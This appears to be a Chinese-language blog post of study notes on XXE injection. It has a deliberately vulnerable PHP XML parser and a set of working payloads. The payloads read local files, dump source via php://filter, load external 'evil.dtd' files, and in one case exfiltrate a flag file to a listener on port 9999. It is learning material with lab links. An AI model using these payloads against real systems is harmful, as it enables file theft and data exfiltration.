<?php
$xmlfile = file_get_contents('php://input');
$creds=simplexml_load_string($xmlfile);
echo $creds;
?>

1 回显的类型

1.1

POC:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

1.2

与1.1不一样的是,引入的外部的dtd

POC:

**********
post提交的数据:
<?xml version="1.0"?>
<!DOCTYPE creds SYSTEM "http://127.0.0.1/test/evil.dtd">
<creds>&b;</creds>
**********
http://127.0.0.1/test/evil.dtd的数据
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">

1.3

********
post:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd">
%goodies;
]>
<creds>&b;</creds>
********
evil.dtd
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">

1.4

当里面含有

1.41

如果是php的话,可以用php的filter协议直接读出文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]>
<creds>&goodies;</creds>

1.42

拼接引用的内容,就可以正常输出

**********
post提交的数据:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/softeware/phpstudy/PHPTutorial/WWW/test/index.php">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/test/evil.dtd">
%dtd; ]> <roottag>&all;</roottag>
*********
evil.dtd的内容
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

2 无回显

2.1

**********
post:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1/test/evil.dtd">
%remote;%int;%send;
]>
**********
evil.dtd的内容
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test/flag.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:9999?p=%file;'>">
***********
python3 -m http.server 9999

3总结一下自己老出错的地方

最后引用实体的时候,老忘了打分号。&goodies;

没有回显的时候,要注意用filter结合file的绝对路径

filter可以不用绝对路径,但是有时候你是访问你的index.html,php文件不一定是index.php。

靶场练习;

https://github.com/c0ny1/xxe-lab

http://web.jarvisoj.com:9882/

XXE_payload的更多相关文章

随机推荐

  1. WINAPI与CALLBACK

    #define WINAPI __stdcall #define CALLBACK __stdcall   都是__stdcall,无本质区别. CALLBACK只是为了告诉我们这是一个回调函数.

  2. arcgis之gp服务发布

    arcgis之gp服务发布 注意: 1.arcgis服务可以直接通过arcmap来发布,gp服务就是将arcmap中的工具发布为服务,达到线上处理数据的能力 2.以文件为参数时不要以文件直接为参数,可 ...

  3. 本地套接字-本地socket

    本地套接字简单应用场景 一 #服务端--简单 import socket import os a='sock_file' if os.path.exists(a): os.remove(a) s=so ...

  4. RobHess的SIFT环境配置

    平台:win10 x64 +VS 2015专业版 +opencv-2.4.11 + gtk_-bundle_2.24.10_win32 参考博客:https://www.cnblogs.com/cql ...

  5. 关于postgres数据库部署之后,发现不能被外机连接解决办法

    数据库 部署完毕之后,用其他机器的navcat连接发现不能连接,如下报错信息 于是在数据库服务器上查询是否启动正常,端口是否正常,发现都没有问题,由于之前也遇到了mysql部署之后,不能被其他机器访问 ...

  6. storm 的分组策略深入理解(-)

    目录 storm的分组策略 根据实例来分析分组策略 common配置: Shuffle grouping shuffle grouping的实例代码 ShuffleGrouping 样例分析 Fiel ...

  7. Python MySQL 数据库连接不同方式

    PyMySQL 驱动连接 什么是 PyMySQL?PyMySQL 是在 Python3.x 版本中用于连接 MySQL 服务器的一个库,Python2中则使用mysqldb. PyMySQL 遵循 P ...

  8. string::capacity string::size string::length string::max_size

    size_t capacity() const noexcept; #include <iostream>#include <string> using namespace s ...

  9. SPOJ 10707 COT2 - Count on a tree II

    思路 树上莫队的题目 每次更新(u1,u2)和(v1,v2)(不包括lca)的路径,最后单独统计LCA即可 代码 #include <cstdio> #include <cstrin ...

  10. thinkphp5.1整合swoole

    该方法仅作一种思路参考,实际应用也许会破坏thinkphp5.1的路由功能,并带来诸多问题,请读者尽量按照tp5.1官方的技术整合手段进行,按照tp5.1官方用户手册的方法可以实现swoole 风格的 ...